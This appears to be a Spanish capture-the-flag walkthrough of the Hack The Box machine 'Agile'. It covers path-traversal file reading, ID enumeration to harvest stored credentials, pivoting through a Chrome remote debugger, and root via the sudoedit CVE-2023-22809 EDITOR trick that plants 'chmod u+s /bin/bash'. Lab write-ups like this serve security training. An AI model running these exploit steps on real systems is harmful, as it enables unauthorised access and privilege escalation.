Agile es una máquina media de HTB. Mediante un LFI podremos leer el archivo principal de la web, obteniendo así credenciales para acceder. Deberemos de convertirnos en otro usuario diferente y para escalar privilegios encontraremos una vulnerabilidad del comando sudoedit que mediante variables de entorno nos permitirá poner la bash con permisos de SUID.

Enumeración

Escaneo de puertos

Empezamos realizando un escaneo de puertos abiertos.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.203 -oG allPorts
[sudo] contraseña para mrx: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-08 23:29 CET
Initiating SYN Stealth Scan at 23:29
Scanning 10.10.11.203 [65535 ports]
Discovered open port 80/tcp on 10.10.11.203
Discovered open port 22/tcp on 10.10.11.203
Completed SYN Stealth Scan at 23:29, 12.78s elapsed (65535 total ports)
Nmap scan report for 10.10.11.203
Host is up, received user-set (0.066s latency).
Scanned at 2023-03-08 23:29:16 CET for 13s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds
           Raw packets sent: 66788 (2.939MB) | Rcvd: 65927 (2.637MB)

Tenemos 2 puertos abiertos: el 22 (SSH) y el 80 (web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Realizamos un escaneo para descubrir los servicios y versiones de los puertos.

❯ nmap -p22,80 -sCV 10.10.11.203 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-08 23:28 CET
Nmap scan report for 10.10.11.203
Host is up (0.058s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds

Utilizamos whatweb para obtener más información de la web. Vemos que nos redirige al dominio superpass.htb así que lo añadimos en el /etc/hosts.

❯ whatweb 10.10.11.203
http://10.10.11.203 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.203], RedirectLocation[http://superpass.htb], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://superpass.htb - no address for superpass.htb

Visitamos la web, esta sería la página principal y parece que es algún tipo de gestor de contraseñas.

HTB

Si navegamos un poco por la web, encontramos el panel de inicio de sesión y registro.

Nos registramos y seguimos navegando por la web.

Encontramos la página que nos ayuda a administrar las contraseñas.

Tenemos 3 campos para añadir datos: la página web , usuario y contraseña.

Podemos añadir, guardar, borrar e incluso exportar las contraseñas en un fichero CSV.

Interceptamos la petición de la descarga del archivo CSV. Podemos ver que hay un parámetro y el nombre del archivo a descargar, así que lo mandamos al Repeater.

Intrusión

Probamos a hacer un LFI apuntando al passwd.

En la respuesta nos muestra el contenido del archivo, así que al parecer no está bien sanitizado.

Podemos ver que hay diversos usuarios interesantes: corum, runner, edwards y dev_admin.

Si ponemos una ruta inexistente nos muestra varios archivos pero hay uno que nos llama mas la atención.

Si apuntamos al archivo podremos ver lo que parece el archivo principal de la web.

Copiamos el archivo y lo guardamos para revisarlo mejor.

import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password

blueprint = flask.Blueprint('vault', __name__, template_folder='templates')

@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
    passwords = password_service.get_passwords_for_user(current_user.id)
    print(f'{passwords=}')
    return {'passwords': passwords}

@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
    p = Password()
    p.password = get_random(20)
    #import pdb;pdb.set_trace()
    return {"p": p}

@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}

@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}

@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        return ''

    p = password_service.add_password(site, username, password, current_user.id)
    return flask.render_template('vault/partials/password_row.html', p=p)

@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        flask.abort(500)

    p = password_service.update_password(id, site, username, password)

    return {"p": p}

@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
    password_service.delete_password(id)
    return ''

@blueprint.get('/vault/export')
@login_required
def export():
    if current_user.has_passwords:        
        fn = password_service.generate_csv(current_user)
        return flask.redirect(f'/download?fn={fn}', 302)
    return "No passwords for user"

@blueprint.get('/download')
@login_required
def download():
    r = flask.request
    fn = r.args.get('fn')
    with open(f'/tmp/{fn}', 'rb') as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
    resp.mimetype = 'text/csv'
    return resp

En el código podemos ver como según el ID que se ponga en determinada ruta deberíamos poder información sobre usuarios.

@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}

Si probamos a realizar peticiones a diferentes ID podremos ver algunas credenciales.

Creamos un pequeño diccionario del 1 al 50.

❯ seq 1 50 > numbers

Mediante wfuzz realizamos peticiones a la ruta que nos indica el archivo principal de la web utilizando el archivo anterior.

❯ wfuzz -c --hc=404 --hh=265 -t 200 -w numbers http://superpass.htb/vault/row/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://superpass.htb/vault/row/FUZZ
Total requests: 50

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                
=====================================================================

000000001:   302        5 L      22 W       263 Ch      "1"                                                                                                                    
000000003:   302        5 L      22 W       263 Ch      "3"                                                                                                                    
000000007:   302        5 L      22 W       263 Ch      "7"                                                                                                                    
000000002:   302        5 L      22 W       263 Ch      "2"                                                                                                                    
000000009:   302        5 L      22 W       263 Ch      "9"                                                                                                                    
000000006:   302        5 L      22 W       263 Ch      "6"                                                                                                                    
000000005:   302        5 L      22 W       263 Ch      "5"                                                                                                                    
000000008:   302        5 L      22 W       263 Ch      "8"                                                                                                                    
000000004:   302        5 L      22 W       263 Ch      "4"                                                                                                                    

Total time: 0
Processed Requests: 50
Filtered Requests: 41
Requests/sec.: 0

Estos serían los números en los que deberían credenciales de usuarios.

Si revisamos podemos encontrar las credenciales del usuario corum, que también es un usuario del sistema.

Escalada de Privilegios

Si probamos esas credenciales podremos acceder a la máquina sin problema.

❯ ssh [email protected]
The authenticity of host '10.10.11.203 (10.10.11.203)' can't be established.
ED25519 key fingerprint is SHA256:kxY+4fRgoCr8yE48B5Lb02EqxyyUN9uk6i/ZIH4H1pc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.203' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Mar  8 19:28:06 2023 from 10.10.14.9
corum@agile:~$

Leemos el archivo user.txt para obtener la flag.

corum@agile:~$ ls
user.txt
corum@agile:~$ cat user.txt 
0e065e3576ca30215df181830076dc08
corum@agile:~$

Si listamos los puertos de la máquina podemos ver algunos puertos.

corum@agile:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:41829         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:50933         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:54976         127.0.0.1:41829         ESTABLISHED
tcp        0    224 10.10.11.203:22         10.10.14.17:44616       ESTABLISHED
tcp        0      0 127.0.0.1:50933         127.0.0.1:44052         ESTABLISHED
tcp      150      0 127.0.0.1:59864         127.0.0.1:3306          CLOSE_WAIT 
tcp      150      0 127.0.0.1:54506         127.0.0.1:3306          CLOSE_WAIT 
tcp        0      0 127.0.0.1:41829         127.0.0.1:54988         ESTABLISHED
tcp        0      0 127.0.0.1:41829         127.0.0.1:54976         ESTABLISHED
tcp        0      0 127.0.0.1:54988         127.0.0.1:41829         ESTABLISHED
tcp        0      1 10.10.11.203:34124      8.8.8.8:53              SYN_SENT   
tcp        0      0 127.0.0.1:44052         127.0.0.1:50933         ESTABLISHED
tcp6       0      0 ::1:50933               :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
corum@agile:~$

Si miramos qué servicios están activos por esos puertos, veremos que el puerto 41829 está el depurador remoto de Google Chrome.

corum@agile:~$ ps faux | grep 33060
corum       5910  0.0  0.0   4020  2092 pts/3    S+   15:41   0:00              \_ grep --color=auto 33060
corum@agile:~$ ps faux | grep 50933
corum       5913  0.0  0.0   4020  1960 pts/3    S+   15:41   0:00              \_ grep --color=auto 50933
corum@agile:~$ ps faux | grep 59864
corum       5915  0.0  0.0   4020  2044 pts/3    S+   15:41   0:00              \_ grep --color=auto 59864
corum@agile:~$ ps faux | grep 41829

runner      5835  1.1  2.5 34027492 102716 ?     Sl   15:41   0:00                      \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.x1Wb1i --window-size=1420,1080 data:,

runner      5898  3.8  4.1 1184768452 166792 ?   Sl   15:41   0:01                          |       \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=5842 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1678454526267604 --launch-time-ticks=8336543054 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,852923818530742403,16427644460389765716,131072 --disable-features=PaintHolding

corum       5917  0.0  0.0   4020  2160 pts/3    S+   15:41   0:00              \_ grep --color=auto 41829
corum@agile:~$ 

Mediante SSH podemos hacer un Port Forwarding para traernos el puerto a nuestra máquina.

❯ ssh [email protected] -L 5000:127.0.0.1:41829
[email protected]'s password:

Para acceder a la configuración debemos visitar chrome://inspect.

Configuramos el puerto que le hemos indicado en el Port Forwarding.

Una vez configurado nos sale el target SuperPassword con un subdominio.

Si seleccionamos inspect y nos dirigimos al directorio vault encontramos dos credenciales.

Mediante la primera credencial seremos capaces de acceder con el usuario de edwards.

❯ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the unminimize command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Fri Mar 10 13:40:08 2023 from 10.10.14.3
edwards@agile:~$

Gracias a sudoedit podemos editar los dos archivos que se indican como si fuésemos el usuario dev_admin.

edwards@agile:~$ sudo -l
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$ 

Si buscamos alguna vulnerabilidad en sudoedit encontraremos el CVE-2023-22809, que nos permite convertirnos en root gracias a la variable de entorno EDITOR.

Exportamos la variable de entorno al archivo /app/venv/bin/activate y en el segundo comando editamos alguno de los dos archivos como el usuario dev_admin.

edwards@agile:~$ export EDITOR='vim -- /app/venv/bin/activate'
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json

Añadimos al principio el comando que queremos que ejecute.

# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

chmod u+s /bin/bash

Después de unos segundos la bash tendrá permisos SUID pudiendo así ser root y leer la flag.

edwards@agile:~$ bash -p
root@agile:~# whoami
root
root@agile:~# cat /root/root.txt
d096bf0665aa1d99f6d85b854496baa6

Leave a Reply

Your email address will not be published. Required fields are marked *